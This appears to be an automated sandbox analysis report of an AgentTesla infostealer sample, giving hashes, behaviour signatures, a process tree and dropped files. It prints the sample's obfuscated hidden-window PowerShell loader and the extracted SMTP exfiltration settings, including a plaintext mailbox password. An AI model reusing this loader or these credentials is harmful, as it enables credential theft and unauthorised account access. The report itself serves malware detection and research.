Analysis

  • max time kernel
    146s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    12-06-2024 02:07

General

  • Target

    MSK872314.exe

  • Size

    630KB

  • MD5

    397c71ddf48527dc363407c2dc6382fd

  • SHA1

    8d309abbd3842e15778dad790e3bb36371060eab

  • SHA256

    fd2ed2817b36ad04fda64c952b1a38e9a4cee86a247d0a7e9dfea5bab81b2e82

  • SHA512

    a5b4bf00e115c99a2433ebf7f91ea7fc12e6c5a6f06d049d89b9027b29bba769ec51d3ace6a1671595d685db7e74e458cb75e39fe8c1abb9533ae19d0c308a46

  • SSDEEP

    12288:jgSUrka1W50Dt/RtlieB6TxOL0w83/ImkT4bdxrVZ4PBiFeAUVABi+ksSj:hfaQ50DljNNow83gkbTBSYUK/ksSj

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    smtp.gmail.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    oadc jzrw bmvr klnl

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 2 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MSK872314.exe
    "C:\Users\Admin\AppData\Local\Temp\MSK872314.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:3032
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Forretningsforbindelserne=Get-Content 'C:\Users\Admin\AppData\Local\Bridgebuilding\oralizes\indart\Insider\Pigout.Smr';$Sheetwise=$Forretningsforbindelserne.SubString(50997,3);.$Sheetwise($Forretningsforbindelserne)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Loads dropped DLL
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3064
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
        3⤵
          PID:2596
        • C:\Users\Admin\AppData\Local\Temp\Delggeres.exe
          "C:\Users\Admin\AppData\Local\Temp\Delggeres.exe"
          3⤵
          • Loads dropped DLL
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2424

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Bridgebuilding\oralizes\indart\Insider\Pigout.Smr

      Filesize

      49KB

      MD5

      5b666f06cc1e9de33f4f56e415241506

      SHA1

      8253f4854a516d91f9ac7189d108cfe2822f5a2b

      SHA256

      9c121e08561368b3fabba2fef46f73a398fd27b54ae7a9b511d1e782cd50dfef

      SHA512

      e2f444a080037474a69ecdff6545638a0a173a3e7230046f4e0a3b659511516806d13c406267d570d7b2006d7e9efbb91b8fbc02996d9ee31ffa801b5e7027f9

    • C:\Users\Admin\AppData\Local\Bridgebuilding\oralizes\indart\Trilogier.rea

      Filesize

      310KB

      MD5

      f96b7a4776a6d23f3a50da5897f86911

      SHA1

      839f9621509a37133fedf3465944999a5c88b8bf

      SHA256

      7d6c274ad802ad0f166f4cd6bf1a72e289d55900481105029c8146265e969b29

      SHA512

      7f6befad553bcd030d48b5cade86c26394f3ae306abef0bf6f34eca72756947f85d1983874c993a237bfdc585b41d7bd73e8147cc2084c631df157226229580e

    • \Users\Admin\AppData\Local\Temp\Delggeres.exe

      Filesize

      630KB

      MD5

      397c71ddf48527dc363407c2dc6382fd

      SHA1

      8d309abbd3842e15778dad790e3bb36371060eab

      SHA256

      fd2ed2817b36ad04fda64c952b1a38e9a4cee86a247d0a7e9dfea5bab81b2e82

      SHA512

      a5b4bf00e115c99a2433ebf7f91ea7fc12e6c5a6f06d049d89b9027b29bba769ec51d3ace6a1671595d685db7e74e458cb75e39fe8c1abb9533ae19d0c308a46

    • memory/2424-21-0x0000000000460000-0x00000000014C2000-memory.dmp

      Filesize

      16.4MB

    • memory/2424-24-0x0000000000460000-0x00000000004A4000-memory.dmp

      Filesize

      272KB

    • memory/3064-8-0x0000000073A51000-0x0000000073A52000-memory.dmp

      Filesize

      4KB

    • memory/3064-10-0x0000000073A50000-0x0000000073FFB000-memory.dmp

      Filesize

      5.7MB

    • memory/3064-12-0x0000000073A50000-0x0000000073FFB000-memory.dmp

      Filesize

      5.7MB

    • memory/3064-11-0x0000000073A50000-0x0000000073FFB000-memory.dmp

      Filesize

      5.7MB

    • memory/3064-9-0x0000000073A50000-0x0000000073FFB000-memory.dmp

      Filesize

      5.7MB

    • memory/3064-16-0x00000000065F0000-0x0000000008D23000-memory.dmp

      Filesize

      39.2MB

    • memory/3064-22-0x0000000073A50000-0x0000000073FFB000-memory.dmp

      Filesize

      5.7MB